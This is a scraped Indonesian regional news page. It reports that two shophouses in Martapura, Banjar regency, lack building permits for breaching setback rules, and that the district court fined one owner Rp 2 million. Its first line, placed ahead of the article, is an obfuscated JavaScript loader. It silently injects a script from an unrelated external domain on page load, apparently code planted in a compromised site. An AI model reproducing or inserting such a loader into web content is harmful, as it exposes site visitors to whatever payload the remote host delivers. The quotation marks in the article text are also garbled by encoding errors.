(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Diduga dua bangunan ruko tidak mengantongi alias memiliki IMB (Izin Mendirikan Bangunan) dari Pemkab Banjar sudah terlajur berdiri liar. Dua bangunan itu adalah ruko milik pengusaha kue di perempatan Jalan Martapura Lama, Pasayangan dan bangunan toko obat di A Yani Km 40,5, dekat Masjid Agung Al Karomah Martapura.
Dua bangunan di kota Martapura itu tidak mengantongi izin dari Pemkab Banjar karena secara teknis melanggar Garis Sempadan Bangunan (GSB) yang sudah ditetapkan.
Kepala Pengadilan Negeri Martapura Sumedi SH MH, Senin (19/2) mengatakan, proses kelanjutan mengenai pelanggaran dalam pembangunan sebuah toko yang dimiliki oleh  hakim yang ada di jalan A Yani atau dekat dengan Masjid Agung Al Karomah Martapura, kini salah satu kasus itu telah putus di Pengadilan Negeri Martapura.
Dari putusan sidang itu, pemilik toko H Hakim dituntut membayar denda Rp 2 juta, atas ketiadaan IMB itu.
“Sidangnya telah selesai, vonisnya, pemilik toko harus membayar denda ke pengadilan sebesar dua juta rupiah,†ungkap Kepala Pengadilan Negeri Martapura Sumedi SH MH.
Selain itu Sumedi juga mengtakan, selain denda yang dijatuhkan, pihaknya menyerahkan kepada pihak terkait untuk melakukan tindakan berupa penertiban terhadap bangunan itu.
“Kita tidak berwenang untuk memutuskan tindakan apa saja terhadap bangunan itu, entah di bongkar atau apa, itu semua kita serahkan ke pihak terkait,†tambahnya
Sementara terkait kasus serupa yang melibatkan pengusaha kue terkenal di Martapura yakni Hj Enong, pihak pengadilan mengaku dari Sistem Informasi Penelusuran Perkara (SIPP) hingga saat ini belum menerima laporan itu.
“Menurut data administrasi kami untuk bangunan milik pengusaha itu belum masuk ke kantor  sampai hari ini, tapi jika laporannya nanti masuk, maka akan langsung kita tindak lanjuti,†katanya
Perlu diketahui dalam Perda Nomor 4 tahun 2012 dinyatakan dalam setiap pembangunan bangunan baik rumah maupun Ruko dan lainnya diwajibkan memiliki IMB dan untuk memiliki itu tentu ada syaratnya yakni administrasi dan teknis.
“Untuk syarat mendapatkan IMB itu yakni administrasi dan sesuai teknis, nah untuk dua bangunan itu terkendala pada teknis Garis Sempadan Bangunan tidak sesuai,†ujar Kabid Tata Ruang, Dinas PU PR Kabupaten Banjar, Faridah Ariyati.(hendera) ÂÂ
<class=”reporter”>
Reporter: Hendera
Editor: Abi Zharrin Al Ghifari
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.